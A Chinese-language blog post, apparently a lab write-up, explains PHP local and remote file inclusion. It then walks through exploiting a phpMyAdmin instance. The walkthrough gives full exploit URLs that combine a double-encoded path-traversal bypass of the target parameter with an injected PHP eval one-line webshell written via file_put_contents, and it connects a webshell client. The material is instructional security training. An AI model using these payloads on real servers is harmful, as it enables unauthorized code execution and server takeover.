文件包含与远程包含漏洞

发布于 2022-03-16  54 次阅读


文件包含简介

将一段代码写在文件里,需要的时候对文件进行调用,这段代码在很多网页中都会用到。

例如:数据库连接代码

mysql.php 只负责数据库连接
common.php 只负责功能实现

如果不对文件进行引用,会造成代码冗余。

核心

文件包含核心就是对文件的引用

函数

include()文件包含 用到去读取使用
require() 文件包含 在代码执行前就去读取包含的文件一起执行

include遇到错误会往下执行,但require不会

include_once() 同一个文件只包含一次
require_once() 同一个文件只包含一次

文件包含

分为两类:

  • 本地文件包含(LFI:local file include) 一句话木马得传的上去或者写的进去
  • 远程文件包含(RFI: remote file include) 直接包含就可以,自己服务器或者任何东西上放个txt直接包含就可以了,[你的木马不存在在目标主机上]要包含的远程地址一般都是txt.
  • 路径:
    • ../上级目录
    • ./当前目录

靶场实操

对本地搭建好的phpmyadmin代码审计

寻找include()函数

image-20220314123152035

这里的$_REQUEST传参可控

对函数进行定位

image-20220314124207695

对函数进行定位

如果target不为空
必须是字符串
传参不能以index开头
target不能在黑名单里(import.phpexport.php
要过这个函数checkPageValidity

进入靶场,然后root/root进入后台

image-20220314122347203

创建数据库

image-20220314124652303

在插入数据时写入马

image-20220314124915028

数据库绝对路径为 C:/phpStudy/MySQL/

https://wjbh522a.zs.aqlab.cn//index.php?target=server_binlog.php%253f/../../../../../../phpStudy/MySQL/data/123456/test.frm&1=phpinfo();
image-20220314125744948
https://wjbh522a.zs.aqlab.cn//index.php?target=server_binlog.php%253f/../../../../../../phpStudy/MySQL/data/123456/test.frm&1=file_put_contents(%271.php%27,%27%3C?php%20eval($_REQUEST[1]);?%3E%27);

写入马

image-20220314130100338

连接菜刀

image-20220314130350470

太陽のように輝く